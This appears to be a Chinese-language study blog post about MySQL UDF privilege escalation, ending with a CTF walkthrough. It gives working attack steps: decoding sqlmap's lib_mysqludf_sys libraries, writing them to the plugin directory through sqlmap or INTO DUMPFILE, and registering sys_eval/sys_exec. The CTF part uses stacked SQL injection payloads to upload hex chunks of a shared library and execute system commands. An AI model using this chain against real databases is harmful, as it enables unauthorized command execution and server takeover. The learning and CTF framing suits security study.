学习文章:https://www.sqlsec.com/2020/11/mysql.html#UDF-%E6%8F%90%E6%9D%83

基本概念:自定义函数,是数据库功能的一种扩展。用户通过自定义函数可以实现在 MySQL 中无法方便实现的功能,其添加的新函数都可以在 SQL 语句中调用,就像调用本机函数 version () 等方便。

复现

动态连接库

如果是MySQL >= 5.1的版本,必须把UDF的动态链接库文件放置于Mysql安装目录下的lib\plugin文件夹下才能创建自定义函数,

sqlmap和Metasploit里都自带了对应系统的动态链接库文件

  • sqlmap的UDF动态链接库文件位置
1
/usr/share/sqlmap/data/udf/mysql

img

sqlmap自带的udf动态链接库因为防止被误杀,都带着编码,不过它也给出了编码工具 cloak.py

img

1
2
3
4
5
6
7
8
9
10
11
12
13
14
pwd                                                               
/usr/share/sqlmap/extra/cloak

# 解码 32 位的 Linux 动态链接库
➜ python3 cloak.py -d -i ../../data/udf/mysql/linux/32/lib_mysqludf_sys.so_ -o lib_mysqludf_sys_32.so

# 解码 64 位的 Linux 动态链接库
➜ python3 cloak.py -d -i ../../data/udf/mysql/linux/64/lib_mysqludf_sys.so_ -o lib_mysqludf_sys_64.so

# 解码 32 位的 Windows 动态链接库
➜ python3 cloak.py -d -i ../../data/udf/mysql/windows/32/lib_mysqludf_sys.dll_ -o lib_mysqludf_sys_32.dll

# 解码 64 位的 Windows 动态链接库
➜ python3 cloak.py -d -i ../../data/udf/mysql/windows/64/lib_mysqludf_sys.dll_ -o lib_mysqludf_sys_64.dll
  • Metasploit中的udf动态链接库就不过多赘述了,它的文件内容其实和sqlmap的动态链接库文件内容一样,只不过是未经编码的,具体可看一下国光师傅的文章

寻找插件目录

使用命令

1
2
3
4
5
6
7
show variables like '%plugin%';
+-------------------------------+----------------------------------------------------+
| Variable_name | Value |
+-------------------------------+----------------------------------------------------+
| default_authentication_plugin | mysql_native_password |
| plugin_dir | D:\phpstudy_pro\Extensions\MySQL5.7.26\lib\plugin\ |
+-------------------------------+----------------------------------------------------+

如果不存在可以找到mysql安装目录,然后手动创建\lib\plugin

1
select 233 into dumpfile 'C:\\PhpStudy\\PHPTutorial\\MySQL\\lib\\plugin::$index_allocation';

找mysql的安装目录的命令是

1
2
3
4
5
6
select @@basedir;
+-----------------------------------------+
| @@basedir |
+-----------------------------------------+
| D:\phpstudy_pro\Extensions\MySQL5.7.26\ |
+-----------------------------------------+

写入动态链接库

一、

条件:SQL注入且是高权限,plugin目录可写且需要secure_file_priv无限制,MySQL插件目录可以被MySQL用户写入,这时就可以直接使用sqlmap来上传动态链接库,又因为get方法又字节限制,所以往往要使用POST方法

命令就是

1
2
3
4
sqlmap -u "http://localhost:30008/" \
--data="id=1" \
--file-write="/Users/sec/Desktop/lib_mysqludf_sys_64.so" \//动态连接库的位置
--file-dest="/usr/lib/mysql/plugin/udf.so" //要写入的位置

如果没有注入的话我们可以操作原生sql语句,但是必须时 secure_file_priv无限制的时候,可以手动写文件到plugin目录下:

可以直接向plugin目录下写入

1
2
3
4
5
# 直接 SELECT 查询十六进制写入
SELECT 0x7f454c4602... INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so';

# 解码十六进制再写入多此一举
SELECT unhex('7f454c4602...') INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so';

16进制的由来是这样的

1
2
3
4
5
6
7
# 直接传入路径编码
SELECT hex(load_file('/lib_mysqludf_sys_64.so'));

# 也可以将路径 hex 编码
SELECT hex(load_file(0x2f6c69625f6d7973716c7564665f7379735f36342e736f));
//我的命令是
select hex(load_file('D:\\Desktop\\lib_mysqludf_sys_32.dll'));

img

也可以导入到文件里

1
select hex(load_file('D:\\Desktop\\lib_mysqludf_sys_32.dll')) into dumpfile 'D:\\Desktop\\4.txt';

img

然后就执行上面那条命令写入到目标服务器就行

img

创建自定义函数并执行命令

导入sys_eval函数

1
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll';

查看是否导入成功

1
select * from mysql.func;

img

注意点:我之前导入的是32位然后发现不行后来尝试64位成功了。

img

删除自定义函数

1
drop function sys_eval;

一道ctf题目

[SWPUCTF 2025 秋季新生赛]sql仅仅只是sql吗?

sqlmap可以一把梭

然后也可以手动注入

1
1 union SELECT 1,2,group_concat( VARIABLE_VALUE) FROM information_schema.GLOBAL_VARIABLES WHERE variable_name = 'secure_file_priv'

查看是否配置可用

1
1 union select 1,2,group_concat(VARIABLE_VALUE) from information_schema.GLOBAL_VARIABLES where VARIABLE_NAME like 'plugin%'

查看 plugin 的位置

但是需要注意的是,因为传参方式是GET传参,GET传参对于长度有限制,所以我们需要分段传入。 这里用的办法是,先创建一个表,将十六进制一点点插入进表里的字段,然后将字段里的值写进文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# 创建一个sqludf表,里面有一个longblob数据类型的data字段
1;CREATE TABLE sqludf(data longblob);

# 将十六进制的so文件传进该字段
1;INSERT INTO sqludf(data) VALUES (0x7f454c4602010100000000000000000003003e0001000000d00c0000000000004000000000000000e8180000000000000000000040003800050040001a00190001000000050000000000000000000000000000000000000000000000000000001415000000000000141500000000000000002000000000000100000006000000);

# 在该字段后追加数据
1;UPDATE sqludf SET data=CONCAT(data,0x181500000000000018152000000000001815200000000000700200000000000080020000000000000000200000000000020000000600000040150000000000004015200000000000401520000000000090010000000000009001000000000000080000000000000050e574640400000064120000000000006412000000000000);

# 。。。。。。(不断截取,将整个文件传进去)

# 将十六进制写进so文件
1;SELECT data FROM sqludf INTO DUMPFILE '/usr/lib/mariadb/plugin/rce.so';

# 创建sys_exec方法
1;CREATE FUNCTION sys_exec RETURNS int SONAME 'rce.so';

# 执行命令
1 union SELECT 1,2,sys_exec('env');